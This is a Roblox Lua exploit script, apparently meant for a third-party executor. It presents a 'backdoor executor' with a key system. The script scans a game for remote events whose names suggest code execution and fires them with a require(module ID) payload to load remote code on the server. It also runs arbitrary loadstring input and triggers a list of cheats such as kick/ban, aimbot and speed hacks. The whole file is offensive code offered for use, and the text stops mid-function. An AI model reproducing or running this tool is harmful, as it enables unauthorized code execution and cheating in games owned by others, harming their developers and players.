Backdoor Finder & Vulnerability Loader GUI

-- COMPLETE BACKDOOR EXECUTOR WITH KEY SYSTEM
-- Run this script directly in your executor

local MASTER_KEY = "Backdoor2026"  -- CHANGE THIS TO YOUR OWN KEY
local KEY_VALIDITY_SECONDS = 2 * 24 * 60 * 60  -- 2 days

local Players = game:GetService("Players")
local CoreGui = game:GetService("CoreGui")
local LocalPlayer = Players.LocalPlayer

local keyFile = "BackdoorKey.txt"
local currentKey = nil
local keyExpiry = nil

local function saveKey(key, expiry)
    if writefile then
        writefile(keyFile, key .. "\n" .. expiry)
    end
    currentKey = key
    keyExpiry = expiry
end

local function loadSavedKey()
    if isfile and isfile(keyFile) then
        local content = readfile(keyFile)
        if content then
            local lines = {}
            for line in content:gmatch("[^\n]+") do
                table.insert(lines, line)
            end
            if #lines >= 2 then
                local savedKey = lines[1]
                local savedExpiry = tonumber(lines[2])
                if savedExpiry and savedExpiry > os.time() then
                    currentKey = savedKey
                    keyExpiry = savedExpiry
                    return true, savedKey
                end
            end
        end
    end
    return false, nil
end

local function isKeyValid(key)
    return key == MASTER_KEY
end

local function getRemainingTime()
    if not keyExpiry then
        return 0
    end
    local remaining = keyExpiry - os.time()
    return math.max(0, remaining)
end

local function formatTime(seconds)
    local days = math.floor(seconds / 86400)
    local hours = math.floor((seconds % 86400) / 3600)
    local minutes = math.floor((seconds % 3600) / 60)
    local secs = seconds % 60
    if days > 0 then
        return string.format("%dd %02dh %02dm %02ds", days, hours, minutes, secs)
    else
        return string.format("%02dh %02dm %02ds", hours, minutes, secs)
    end
end

-- ============================================
-- BACKDOOR GUI FUNCTIONS
-- ============================================

local function MakeDraggable(frame, dragButton)
    local dragging = false
    local dragStart = nil
    local startPos = nil
    dragButton.InputBegan:Connect(function(input)
        if input.UserInputType == Enum.UserInputType.MouseButton1 then
            dragging = true
            dragStart = input.Position
            startPos = frame.Position
            input.Changed:Connect(function()
                if input.UserInputState == Enum.UserInputState.End then
                    dragging = false
                end
            end)
        end
    end)
    dragButton.InputChanged:Connect(function(input)
        if dragging and input.UserInputType == Enum.UserInputType.MouseMovement then
            local delta = input.Position - dragStart
            frame.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y)
        end
    end)
end

local function createBackdoorGUI()
    local SG1 = Instance.new("ScreenGui")
    SG1.Name = "BackdoorFireGui"
    SG1.Parent = CoreGui

    local BackdoorFrame = Instance.new("Frame")
    BackdoorFrame.Name = "BackdoorFrame"
    BackdoorFrame.Size = UDim2.new(0, 550, 0, 500)
    BackdoorFrame.Position = UDim2.new(0.05, 0, 0.15, 0)
    BackdoorFrame.Active = true
    BackdoorFrame.Draggable = true
    BackdoorFrame.BackgroundColor3 = Color3.fromRGB(20, 20, 20)
    BackdoorFrame.BorderSizePixel = 1
    BackdoorFrame.BorderColor3 = Color3.fromRGB(255, 0, 0)
    BackdoorFrame.Parent = SG1

    local BTitleBar = Instance.new("Frame")
    BTitleBar.Size = UDim2.new(1, 0, 0, 30)
    BTitleBar.Position = UDim2.new(0, 0, 0, 0)
    BTitleBar.BackgroundColor3 = Color3.fromRGB(40, 40, 40)
    BTitleBar.BorderSizePixel = 0
    BTitleBar.Parent = BackdoorFrame

    local BTitleText = Instance.new("TextLabel")
    BTitleText.Size = UDim2.new(1, -80, 1, 0)
    BTitleText.Position = UDim2.new(0, 5, 0, 0)
    BTitleText.Text = "BACKDOOR FIRE GUI | Require Module Executor"
    BTitleText.TextColor3 = Color3.fromRGB(255, 50, 50)
    BTitleText.BackgroundTransparency = 1
    BTitleText.Font = Enum.Font.SourceSansBold
    BTitleText.TextSize = 14
    BTitleText.TextXAlignment = Enum.TextXAlignment.Left
    BTitleText.Parent = BTitleBar

    local BMinButton = Instance.new("TextButton")
    BMinButton.Size = UDim2.new(0, 30, 1, 0)
    BMinButton.Position = UDim2.new(1, -60, 0, 0)
    BMinButton.Text = "-"
    BMinButton.TextColor3 = Color3.fromRGB(255, 255, 255)
    BMinButton.BackgroundColor3 = Color3.fromRGB(60, 60, 60)
    BMinButton.BorderSizePixel = 0
    BMinButton.Font = Enum.Font.SourceSansBold
    BMinButton.TextSize = 20
    BMinButton.Parent = BTitleBar

    local BCloseButton = Instance.new("TextButton")
    BCloseButton.Size = UDim2.new(0, 30, 1, 0)
    BCloseButton.Position = UDim2.new(1, -30, 0, 0)
    BCloseButton.Text = "X"
    BCloseButton.TextColor3 = Color3.fromRGB(255, 255, 255)
    BCloseButton.BackgroundColor3 = Color3.fromRGB(150, 0, 0)
    BCloseButton.BorderSizePixel = 0
    BCloseButton.Font = Enum.Font.SourceSansBold
    BCloseButton.TextSize = 16
    BCloseButton.Parent = BTitleBar

    MakeDraggable(BackdoorFrame, BTitleBar)

    local BMinimized = false
    local BOriginalSize = BackdoorFrame.Size
    BMinButton.MouseButton1Click:Connect(function()
        if not BMinimized then
            BackdoorFrame.Size = UDim2.new(BOriginalSize.X.Scale, BOriginalSize.X.Offset, 0, 30)
            BMinimized = true
            BMinButton.Text = "+"
            for _, v in pairs(BackdoorFrame:GetChildren()) do
                if v ~= BTitleBar and v ~= BMinButton and v ~= BCloseButton then
                    v.Visible = false
                end
            end
        else
            BackdoorFrame.Size = BOriginalSize
            BMinimized = false
            BMinButton.Text = "-"
            for _, v in pairs(BackdoorFrame:GetChildren()) do
                v.Visible = true
            end
        end
    end)

    BCloseButton.MouseButton1Click:Connect(function()
        SG1:Destroy()
    end)

    local BStatus = Instance.new("TextLabel")
    BStatus.Size = UDim2.new(1, -20, 0, 40)
    BStatus.Position = UDim2.new(0, 10, 0, 40)
    BStatus.Text = "Ready | Target: Require-based backdoors"
    BStatus.TextColor3 = Color3.fromRGB(255, 255, 255)
    BStatus.BackgroundColor3 = Color3.fromRGB(35, 35, 35)
    BStatus.TextWrapped = true
    BStatus.Parent = BackdoorFrame

    local ModuleIdLabel = Instance.new("TextLabel")
    ModuleIdLabel.Size = UDim2.new(0.9, 0, 0, 20)
    ModuleIdLabel.Position = UDim2.new(0.05, 0, 0.12, 0)
    ModuleIdLabel.Text = "Module ID:"
    ModuleIdLabel.TextColor3 = Color3.fromRGB(200, 200, 200)
    ModuleIdLabel.BackgroundTransparency = 1
    ModuleIdLabel.TextXAlignment = Enum.TextXAlignment.Left
    ModuleIdLabel.Parent = BackdoorFrame

    local ModuleIdBox = Instance.new("TextBox")
    ModuleIdBox.Size = UDim2.new(0.9, 0, 0, 35)
    ModuleIdBox.Position = UDim2.new(0.05, 0, 0.16, 0)
    ModuleIdBox.PlaceholderText = "Enter Module ID (e.g., 120139137221718)"
    ModuleIdBox.Text = "120139137221718"
    ModuleIdBox.BackgroundColor3 = Color3.fromRGB(50, 50, 50)
    ModuleIdBox.TextColor3 = Color3.fromRGB(255, 255, 255)
    ModuleIdBox.ClearTextOnFocus = false
    ModuleIdBox.Parent = BackdoorFrame

    local LoadModuleBtn = Instance.new("TextButton")
    LoadModuleBtn.Size = UDim2.new(0.4, 0, 0, 35)
    LoadModuleBtn.Position = UDim2.new(0.05, 0, 0.24, 0)
    LoadModuleBtn.Text = "LOAD MODULE"
    LoadModuleBtn.BackgroundColor3 = Color3.fromRGB(0, 100, 0)
    LoadModuleBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
    LoadModuleBtn.Parent = BackdoorFrame

    local FunctionLabel = Instance.new("TextLabel")
    FunctionLabel.Size = UDim2.new(0.9, 0, 0, 20)
    FunctionLabel.Position = UDim2.new(0.05, 0, 0.31, 0)
    FunctionLabel.Text = "Function to execute on module:"
    FunctionLabel.TextColor3 = Color3.fromRGB(200, 200, 200)
    FunctionLabel.BackgroundTransparency = 1
    FunctionLabel.TextXAlignment = Enum.TextXAlignment.Left
    FunctionLabel.Parent = BackdoorFrame

    local FunctionBox = Instance.new("TextBox")
    FunctionBox.Size = UDim2.new(0.9, 0, 0, 50)
    FunctionBox.Position = UDim2.new(0.05, 0, 0.35, 0)
    FunctionBox.PlaceholderText = "e.g., .load('ozfv0', 'Licker Zombie')"
    FunctionBox.Text = ""
    FunctionBox.BackgroundColor3 = Color3.fromRGB(50, 50, 50)
    FunctionBox.TextColor3 = Color3.fromRGB(255, 255, 255)
    FunctionBox.TextWrapped = true
    FunctionBox.ClearTextOnFocus = false
    FunctionBox.Parent = BackdoorFrame

    local ExecFuncBtn = Instance.new("TextButton")
    ExecFuncBtn.Size = UDim2.new(0.4, 0, 0, 35)
    ExecFuncBtn.Position = UDim2.new(0.05, 0, 0.44, 0)
    ExecFuncBtn.Text = "EXECUTE FUNCTION"
    ExecFuncBtn.BackgroundColor3 = Color3.fromRGB(0, 0, 150)
    ExecFuncBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
    ExecFuncBtn.Parent = BackdoorFrame

    local FindBackdoorsBtn = Instance.new("TextButton")
    FindBackdoorsBtn.Size = UDim2.new(0.4, 0, 0, 35)
    FindBackdoorsBtn.Position = UDim2.new(0.55, 0, 0.24, 0)
    FindBackdoorsBtn.Text = "FIND REQUIRE BACKDOORS"
    FindBackdoorsBtn.BackgroundColor3 = Color3.fromRGB(139, 0, 0)
    FindBackdoorsBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
    FindBackdoorsBtn.Parent = BackdoorFrame

    local FireBackdoorsBtn = Instance.new("TextButton")
    FireBackdoorsBtn.Size = UDim2.new(0.4, 0, 0, 35)
    FireBackdoorsBtn.Position = UDim2.new(0.55, 0, 0.44, 0)
    FireBackdoorsBtn.Text = "FIRE ALL BACKDOORS"
    FireBackdoorsBtn.BackgroundColor3 = Color3.fromRGB(200, 0, 0)
    FireBackdoorsBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
    FireBackdoorsBtn.Parent = BackdoorFrame

    local RawLabel = Instance.new("TextLabel")
    RawLabel.Size = UDim2.new(0.9, 0, 0, 20)
    RawLabel.Position = UDim2.new(0.05, 0, 0.51, 0)
    RawLabel.Text = "Raw Require Script:"
    RawLabel.TextColor3 = Color3.fromRGB(200, 200, 200)
    RawLabel.BackgroundTransparency = 1
    RawLabel.TextXAlignment = Enum.TextXAlignment.Left
    RawLabel.Parent = BackdoorFrame

    local RawScriptBox = Instance.new("TextBox")
    RawScriptBox.Size = UDim2.new(0.9, 0, 0, 60)
    RawScriptBox.Position = UDim2.new(0.05, 0, 0.55, 0)
    RawScriptBox.PlaceholderText = "require(123456789).load('key', 'value') or any raw script"
    RawScriptBox.Text = ""
    RawScriptBox.BackgroundColor3 = Color3.fromRGB(50, 50, 50)
    RawScriptBox.TextColor3 = Color3.fromRGB(255, 255, 255)
    RawScriptBox.TextWrapped = true
    RawScriptBox.ClearTextOnFocus = false
    RawScriptBox.Parent = BackdoorFrame

    local ExecRawBtn = Instance.new("TextButton")
    ExecRawBtn.Size = UDim2.new(0.9, 0, 0, 35)
    ExecRawBtn.Position = UDim2.new(0.05, 0, 0.65, 0)
    ExecRawBtn.Text = "EXECUTE RAW REQUIRE SCRIPT"
    ExecRawBtn.BackgroundColor3 = Color3.fromRGB(150, 50, 0)
    ExecRawBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
    ExecRawBtn.Parent = BackdoorFrame

    local BackdoorListLabel = Instance.new("TextLabel")
    BackdoorListLabel.Size = UDim2.new(0.9, 0, 0, 20)
    BackdoorListLabel.Position = UDim2.new(0.05, 0, 0.73, 0)
    BackdoorListLabel.Text = "Found Require-Compatible Backdoors:"
    BackdoorListLabel.TextColor3 = Color3.fromRGB(255, 100, 100)
    BackdoorListLabel.BackgroundTransparency = 1
    BackdoorListLabel.TextXAlignment = Enum.TextXAlignment.Left
    BackdoorListLabel.Parent = BackdoorFrame

    local BackdoorList = Instance.new("ScrollingFrame")
    BackdoorList.Size = UDim2.new(0.9, 0, 0, 80)
    BackdoorList.Position = UDim2.new(0.05, 0, 0.77, 0)
    BackdoorList.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
    BackdoorList.BorderSizePixel = 1
    BackdoorList.BorderColor3 = Color3.fromRGB(100, 100, 100)
    BackdoorList.CanvasSize = UDim2.new(0, 0, 0, 0)
    BackdoorList.ScrollBarThickness = 8
    BackdoorList.Parent = BackdoorFrame

    local BackdoorListLayout = Instance.new("UIListLayout")
    BackdoorListLayout.Padding = UDim.new(0, 2)
    BackdoorListLayout.Parent = BackdoorList

    local foundRequireBackdoors = {}
    local loadedModule = nil

    local function findRequireBackdoors()
        for _, v in pairs(BackdoorList:GetChildren()) do
            if v:IsA("TextButton") then v:Destroy() end
        end
        foundRequireBackdoors = {}

        local count = 0
        for _, v in pairs(game:GetDescendants()) do
            if v:IsA("RemoteEvent") or v:IsA("RemoteFunction") then
                local nameLower = v.Name:lower()
                if nameLower:find("require") or nameLower:find("loadstring") or nameLower:find("execute") or
                   nameLower:find("inject") or nameLower:find("run") or nameLower:find("call") or
                   nameLower:find("exec") or nameLower:find("module") or nameLower:find("script") then
                    count = count + 1
                    table.insert(foundRequireBackdoors, v)

                    local btn = Instance.new("TextButton")
                    btn.Size = UDim2.new(1, 0, 0, 25)
                    btn.Text = v.Name .. " [" .. v.ClassName .. "]"
                    btn.TextColor3 = Color3.fromRGB(255, 200, 100)
                    btn.BackgroundColor3 = Color3.fromRGB(60, 20, 20)
                    btn.BorderSizePixel = 1
                    btn.BorderColor3 = Color3.fromRGB(255, 0, 0)
                    btn.Parent = BackdoorList

                    btn.MouseButton1Click:Connect(function()
                        local payload = "require(" .. (ModuleIdBox.Text ~= "" and ModuleIdBox.Text or "120139137221718") .. ")"
                        pcall(function()
                            v:FireServer(payload)
                            v:FireServer("load", payload)
                            v:FireServer("execute", payload)
                            if v:IsA("RemoteFunction") then
                                v:InvokeServer(payload)
                            end
                        end)
                        BStatus.Text = "Fired backdoor: " .. v.Name
                    end)

                    BackdoorListLayout:ApplyLayout()
                    BackdoorList.CanvasSize = UDim2.new(0, 0, 0, BackdoorListLayout.AbsoluteContentSize.Y)
                end
            end
        end
        BStatus.Text = "Found " .. count .. " require-compatible backdoors"
        return count
    end

    local function fireAllBackdoors()
        local fired = 0
        local moduleId = ModuleIdBox.Text ~= "" and ModuleIdBox.Text or "120139137221718"
        local payload = "require(" .. moduleId .. ")"
        for _, v in pairs(foundRequireBackdoors) do
            local success = pcall(function()
                v:FireServer(payload)
                v:FireServer("load", payload)
                v:FireServer("execute", payload)
                if v:IsA("RemoteFunction") then
                    v:InvokeServer(payload)
                end
            end)
            if success then fired = fired + 1 end
            task.wait(0.05)
        end
        BStatus.Text = "Fired " .. fired .. "/" .. #foundRequireBackdoors .. " backdoors"
    end

    LoadModuleBtn.MouseButton1Click:Connect(function()
        local id = ModuleIdBox.Text
        if id and id ~= "" then
            local numId = tonumber(id)
            if numId then
                local success = pcall(function()
                    loadedModule = require(numId)
                end)
                if success then
                    BStatus.Text = "Module loaded successfully!"
                else
                    BStatus.Text = "Failed to load module"
                    loadedModule = nil
                end
            else
                BStatus.Text = "Invalid module ID"
            end
        else
            BStatus.Text = "Enter a module ID first!"
        end
    end)

    ExecFuncBtn.MouseButton1Click:Connect(function()
        if not loadedModule then
            BStatus.Text = "No module loaded! Load a module first."
            return
        end
        local funcCode = FunctionBox.Text
        if funcCode and funcCode ~= "" then
            local success, err = pcall(function()
                local fullCode = "return loadedModule" .. funcCode
                local chunk = loadstring(fullCode)
                if chunk then
                    chunk()
                    BStatus.Text = "Function executed successfully!"
                else
                    error("Invalid function syntax")
                end
            end)
            if not success then
                BStatus.Text = "Error: " .. tostring(err)
            end
        else
            BStatus.Text = "Enter a function to execute!"
        end
    end)

    FindBackdoorsBtn.MouseButton1Click:Connect(function()
        findRequireBackdoors()
    end)

    FireBackdoorsBtn.MouseButton1Click:Connect(function()
        fireAllBackdoors()
    end)

    ExecRawBtn.MouseButton1Click:Connect(function()
        local scriptText = RawScriptBox.Text
        if scriptText and scriptText ~= "" then
            local success = pcall(function()
                local func = loadstring(scriptText)
                if func then
                    func()
                else
                    local chunk = loadstring("return " .. scriptText)
                    if chunk then
                        chunk()
                    else
                        error("Invalid script")
                    end
                end
            end)
            if success then
                BStatus.Text = "Raw script executed!"
            else
                BStatus.Text = "Error executing script"
            end
        else
            BStatus.Text = "Enter a script first!"
        end
    end)

    spawn(function()
        wait(1)
        findRequireBackdoors()
    end)

    print("Backdoor GUI loaded!")
end

local function createVulnerabilityGUI()
    local SG2 = Instance.new("ScreenGui")
    SG2.Name = "VulnerabilitySelectorGui"
    SG2.Parent = CoreGui

    local VulnFrame = Instance.new("Frame")
    VulnFrame.Name = "VulnFrame"
    VulnFrame.Size = UDim2.new(0, 400, 0, 500)
    VulnFrame.Position = UDim2.new(0.55, 0, 0.15, 0)
    VulnFrame.Active = true
    VulnFrame.Draggable = true
    VulnFrame.BackgroundColor3 = Color3.fromRGB(20, 20, 20)
    VulnFrame.BorderSizePixel = 1
    VulnFrame.BorderColor3 = Color3.fromRGB(0, 255, 255)
    VulnFrame.Parent = SG2

    local VTitleBar = Instance.new("Frame")
    VTitleBar.Size = UDim2.new(1, 0, 0, 30)
    VTitleBar.Position = UDim2.new(0, 0, 0, 0)
    VTitleBar.BackgroundColor3 = Color3.fromRGB(40, 40, 40)
    VTitleBar.BorderSizePixel = 0
    VTitleBar.Parent = VulnFrame

    local VTitleText = Instance.new("TextLabel")
    VTitleText.Size = UDim2.new(1, -80, 1, 0)
    VTitleText.Position = UDim2.new(0, 5, 0, 0)
    VTitleText.Text = "VULNERABILITY SELECTOR"
    VTitleText.TextColor3 = Color3.fromRGB(0, 255, 255)
    VTitleText.BackgroundTransparency = 1
    VTitleText.Font = Enum.Font.SourceSansBold
    VTitleText.TextSize = 14
    VTitleText.TextXAlignment = Enum.TextXAlignment.Left
    VTitleText.Parent = VTitleBar

    local VMinButton = Instance.new("TextButton")
    VMinButton.Size = UDim2.new(0, 30, 1, 0)
    VMinButton.Position = UDim2.new(1, -60, 0, 0)
    VMinButton.Text = "-"
    VMinButton.TextColor3 = Color3.fromRGB(255, 255, 255)
    VMinButton.BackgroundColor3 = Color3.fromRGB(60, 60, 60)
    VMinButton.BorderSizePixel = 0
    VMinButton.Font = Enum.Font.SourceSansBold
    VMinButton.TextSize = 20
    VMinButton.Parent = VTitleBar

    local VCloseButton = Instance.new("TextButton")
    VCloseButton.Size = UDim2.new(0, 30, 1, 0)
    VCloseButton.Position = UDim2.new(1, -30, 0, 0)
    VCloseButton.Text = "X"
    VCloseButton.TextColor3 = Color3.fromRGB(255, 255, 255)
    VCloseButton.BackgroundColor3 = Color3.fromRGB(150, 0, 0)
    VCloseButton.BorderSizePixel = 0
    VCloseButton.Font = Enum.Font.SourceSansBold
    VCloseButton.TextSize = 16
    VCloseButton.Parent = VTitleBar

    MakeDraggable(VulnFrame, VTitleBar)

    local VMinimized = false
    local VOriginalSize = VulnFrame.Size
    VMinButton.MouseButton1Click:Connect(function()
        if not VMinimized then
            VulnFrame.Size = UDim2.new(VOriginalSize.X.Scale, VOriginalSize.X.Offset, 0, 30)
            VMinimized = true
            VMinButton.Text = "+"
            for _, v in pairs(VulnFrame:GetChildren()) do
                if v ~= VTitleBar and v ~= VMinButton and v ~= VCloseButton then
                    v.Visible = false
                end
            end
        else
            VulnFrame.Size = VOriginalSize
            VMinimized = false
            VMinButton.Text = "-"
            for _, v in pairs(VulnFrame:GetChildren()) do
                v.Visible = true
            end
        end
    end)

    VCloseButton.MouseButton1Click:Connect(function()
        SG2:Destroy()
    end)

    local VStatus = Instance.new("TextLabel")
    VStatus.Size = UDim2.new(1, -20, 0, 40)
    VStatus.Position = UDim2.new(0, 10, 0, 40)
    VStatus.Text = "Select vulnerabilities to fire"
    VStatus.TextColor3 = Color3.fromRGB(255, 255, 255)
    VStatus.BackgroundColor3 = Color3.fromRGB(35, 35, 35)
    VStatus.TextWrapped = true
    VStatus.Parent = VulnFrame

    local VulnList = Instance.new("ScrollingFrame")
    VulnList.Size = UDim2.new(0.9, 0, 0, 300)
    VulnList.Position = UDim2.new(0.05, 0, 0.14, 0)
    VulnList.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
    VulnList.BorderSizePixel = 1
    VulnList.BorderColor3 = Color3.fromRGB(100, 100, 100)
    VulnList.CanvasSize = UDim2.new(0, 0, 0, 0)
    VulnList.ScrollBarThickness = 8
    VulnList.Parent = VulnFrame

    local VulnListLayout = Instance.new("UIListLayout")
    VulnListLayout.Padding = UDim.new(0, 5)
    VulnListLayout.Parent = VulnList

    local FireSelectedBtn = Instance.new("TextButton")
    FireSelectedBtn.Size = UDim2.new(0.9, 0, 0, 45)
    FireSelectedBtn.Position = UDim2.new(0.05, 0, 0.78, 0)
    FireSelectedBtn.Text = "FIRE SELECTED VULNERABILITIES"
    FireSelectedBtn.BackgroundColor3 = Color3.fromRGB(200, 0, 0)
    FireSelectedBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
    FireSelectedBtn.Font = Enum.Font.SourceSansBold
    FireSelectedBtn.TextSize = 14
    FireSelectedBtn.Parent = VulnFrame

    local FireAllBtn = Instance.new("TextButton")
    FireAllBtn.Size = UDim2.new(0.9, 0, 0, 35)
    FireAllBtn.Position = UDim2.new(0.05, 0, 0.86, 0)
    FireAllBtn.Text = "FIRE ALL VULNERABILITIES"
    FireAllBtn.BackgroundColor3 = Color3.fromRGB(150, 0, 0)
    FireAllBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
    FireAllBtn.Font = Enum.Font.SourceSansBold
    FireAllBtn.TextSize = 13
    FireAllBtn.Parent = VulnFrame

    local RefreshBtn = Instance.new("TextButton")
    RefreshBtn.Size = UDim2.new(0.9, 0, 0, 30)
    RefreshBtn.Position = UDim2.new(0.05, 0, 0.92, 0)
    RefreshBtn.Text = "REFRESH VULNERABILITY LIST"
    RefreshBtn.BackgroundColor3 = Color3.fromRGB(0, 80, 80)
    RefreshBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
    RefreshBtn.TextSize = 12
    RefreshBtn.Parent = VulnFrame

    local vulnerabilities = {
        {name = "RemoteEvent Execution", payload = "execute", type = "RemoteEvent"},
        {name = "LoadString Injection", payload = "loadstring", type = "RemoteEvent"},
        {name = "Require Module Loader", payload = "require", type = "RemoteEvent"},
        {name = "Admin Command Backdoor", payload = "cmd", type = "RemoteEvent"},
        {name = "Script Injector", payload = "inject", type = "RemoteEvent"},
        {name = "Function Caller", payload = "call", type = "RemoteFunction"},
        {name = "Remote Spy Trigger", payload = "spy", type = "RemoteEvent"},
        {name = "Teleport Vulnerability", payload = "teleport", type = "RemoteEvent"},
        {name = "Kick Ban Exploit", payload = "kick", type = "RemoteEvent"},
        {name = "Fly Noclip Backdoor", payload = "fly", type = "RemoteEvent"},
        {name = "ESP Injector", payload = "esp", type = "RemoteEvent"},
        {name = "Aimbot Trigger", payload = "aimbot", type = "RemoteFunction"},
        {name = "Speed Hack Enable", payload = "speed", type = "RemoteEvent"},
        {name = "Jump Power Exploit", payload = "jumppower", type = "RemoteEvent"},
    }

    local selectedVulns = {}

    local function refreshVulnList()
        for _, v in pairs(VulnList:GetChildren()) do
            if v:IsA("Frame") then v:Destroy() end
        end
        selectedVulns = {}

        for i, vuln in ipairs(vulnerabilities) do
            local frame = Instance.new("Frame")
            frame.Size = UDim2.new(1, -10, 0, 35)
            frame.BackgroundColor3 = Color3.fromRGB(45, 45, 45)
            frame.BorderSizePixel = 1
            frame.BorderColor3 = Color3.fromRGB(80, 80, 80)
            frame.Parent = VulnList

            local checkbox = Instance.new("TextButton")
            checkbox.Size = UDim2.new(0, 30, 1, -6)
            checkbox.Position = UDim2.new(0, 5, 0, 3)
            checkbox.Text = "[]"
            checkbox.TextColor3 = Color3.fromRGB(255, 255, 255)
            checkbox.BackgroundColor3 = Color3.fromRGB(60, 60, 60)
            checkbox.BorderSizePixel = 0
            checkbox.Font = Enum.Font.SourceSansBold
            checkbox.TextSize = 18
            checkbox.Parent = frame

            local label = Instance.new("TextLabel")
            label.Size = UDim2.new(1, -45, 1, 0)
            label.Position = UDim2.new(0, 40, 0, 0)
            label.Text = vuln.name .. " [" .. vuln.type .. "]"
            label.TextColor3 = Color3.fromRGB(220, 220, 220)
            label.BackgroundTransparency = 1
            label.TextXAlignment = Enum.TextXAlignment.Left
            label.Parent = frame

            local isSelected = false

            checkbox.MouseButton1Click:Connect(function()
                isSelected = not isSelected
                if isSelected then
                    checkbox.Text = "[X]"
                    checkbox.TextColor3 = Color3.fromRGB(0, 255, 0)
                    frame.BackgroundColor3 = Color3.fromRGB(60, 40, 40)
                    selectedVulns[vuln.name] = vuln
                else
                    checkbox.Text = "[]"
                    checkbox.TextColor3 = Color3.fromRGB(255, 255, 255)
                    frame.BackgroundColor3 = Color3.fromRGB(45, 45, 45)
                    selectedVulns[vuln.name] = nil
                end
            end)
        end

        VulnListLayout:ApplyLayout()
        VulnList.CanvasSize = UDim2.new(0, 0, 0, VulnListLayout.AbsoluteContentSize.Y)
    end

    local function fireVulnerability(vuln)
        local fired = 0
        for _, v in pairs(game:GetDescendants()) do
            if v:IsA(vuln.type) then
                local nameLower = v.Name:lower()
                if nameLower:find(vuln.payload) then
                    pcall(function()
                        if vuln.type == "RemoteEvent" then
                            v:FireServer(vuln.payload)
                        else
                            v:InvokeServer(vuln.payload)
                        end
                    end)
                    fired = fired + 1
                    task.wait(0.02)
                end
            end
        end
        return fired
    end

    FireSelectedBtn.MouseButton1Click:Connect(function()
        local totalFired = 0
        for name, vuln in pairs(selectedVulns) do
            VStatus.Text = "Firing: " .. name
            local count = fireVulnerability(vuln)
            totalFired = totalFired + count
            task.wait(0.1)
        end
        VStatus.Text = "Fired " .. totalFired .. " remotes"
    end)

    FireAllBtn.MouseButton1Click:Connect(function()
        local totalFired = 0
        for _, vuln in ipairs(vulnerabilities) do
            VStatus.Text = "Firing: " .. vuln.name
            local count = fireVulnerability(vuln)
            totalFired = totalFired + count
            task.wait(0.05)
        end
        VStatus.Text = "Fired " .. totalFired .. " remotes total"
    end)

    RefreshBtn.MouseButton1Click:Connect(function()
        refreshVulnList()
        VStatus.Text = "Vulnerability list refreshed!"
    end)

    refreshVulnList()
    print("Vulnerability GUI loaded!")
end

-- ============================================
-- KEY SYSTEM GUI
-- ============================================

local function createKeyGUI()
    local screenGui = Instance.new("ScreenGui")
    screenGui.Name = "KeySystemGUI"
    screenGui.Parent = CoreGui

    local mainFrame = Instance.new("Frame")
    mainFrame.Size = UDim2.new(0, 380, 0, 320)
    mainFrame.Position = UDim2.new(0.5, -190, 0.5, -160)
    mainFrame.BackgroundColor3 = Color3.fromRGB(20, 20, 30)
    mainFrame.BorderSizePixel = 2
    mainFrame.BorderColor3 = Color3.fromRGB(255, 50, 50)
    mainFrame.Active = true
    mainFrame.Draggable = true
    mainFrame.Parent = screenGui

    local title = Instance.new("TextLabel")
    title.Size = UDim2.new(1, 0, 0, 45)
    title.Text = "BACKDOOR EXECUTOR"
    title.BackgroundColor3 = Color3.fromRGB(30, 30, 40)
    title.TextColor3 = Color3.fromRGB(255, 50, 50)
    title.Font = Enum.Font.GothamBold
    title.TextSize = 18
    title.Parent = mainFrame

    local descLabel = Instance.new("TextLabel")
    descLabel.Size = UDim2.new(0.9, 0, 0, 50)
    descLabel.Position = UDim2.new(0.05, 0, 0, 50)
    descLabel.Text = "Require Module Executor + Vulnerability Selector\nValid for 2 days per key"
    descLabel.BackgroundTransparency = 1
    descLabel.TextColor3 = Color3.fromRGB(180, 180, 180)
    descLabel.TextSize = 11
    descLabel.TextWrapped = true
    descLabel.Parent = mainFrame

    local keyInput = Instance.new("TextBox")
    keyInput.Size = UDim2.new(0.85, 0, 0, 40)
    keyInput.Position = UDim2.new(0.075, 0, 0, 110)
    keyInput.PlaceholderText = "Enter your key here..."
    keyInput.BackgroundColor3 = Color3.fromRGB(40, 40, 50)
    keyInput.TextColor3 = Color3.fromRGB(255, 255, 255)
    keyInput.Font = Enum.Font.Gotham
    keyInput.TextSize = 14
    keyInput.ClearTextOnFocus = false
    keyInput.Parent = mainFrame

    local verifyButton = Instance.new("TextButton")
    verifyButton.Size = UDim2.new(0.4, 0, 0, 35)
    verifyButton.Position = UDim2.new(0.075, 0, 0, 160)
    verifyButton.Text = "VERIFY"
    verifyButton.BackgroundColor3 = Color3.fromRGB(0, 120, 255)
    verifyButton.TextColor3 = Color3.fromRGB(255, 255, 255)
    verifyButton.Font = Enum.Font.GothamBold
    verifyButton.TextSize = 14
    verifyButton.Parent = mainFrame

    local showKeyButton = Instance.new("TextButton")
    showKeyButton.Size = UDim2.new(0.4, 0, 0, 35)
    showKeyButton.Position = UDim2.new(0.525, 0, 0, 160)
    showKeyButton.Text = "SHOW KEY"
    showKeyButton.BackgroundColor3 = Color3.fromRGB(50, 50, 60)
    showKeyButton.TextColor3 = Color3.fromRGB(255, 255, 255)
    showKeyButton.Font = Enum.Font.GothamBold
    showKeyButton.TextSize = 14
    showKeyButton.Parent = mainFrame

    local statusLabel = Instance.new("TextLabel")
    statusLabel.Size = UDim2.new(1, 0, 0, 30)
    statusLabel.Position = UDim2.new(0, 0, 0, 205)
    statusLabel.Text = "Waiting for input..."
    statusLabel.BackgroundTransparency = 1
    statusLabel.TextColor3 = Color3.fromRGB(150, 150, 150)
    statusLabel.TextSize = 11
    statusLabel.Parent = mainFrame

    local timerLabel = Instance.new("TextLabel")
    timerLabel.Size = UDim2.new(1, 0, 0, 25)
    timerLabel.Position = UDim2.new(0, 0, 0, 240)
    timerLabel.Text = ""
    timerLabel.BackgroundTransparency = 1
    timerLabel.TextColor3 = Color3.fromRGB(100, 255, 100)
    timerLabel.TextSize = 11
    timerLabel.Parent = mainFrame

    local closeButton = Instance.new("TextButton")
    closeButton.Size = UDim2.new(0, 30, 0, 30)
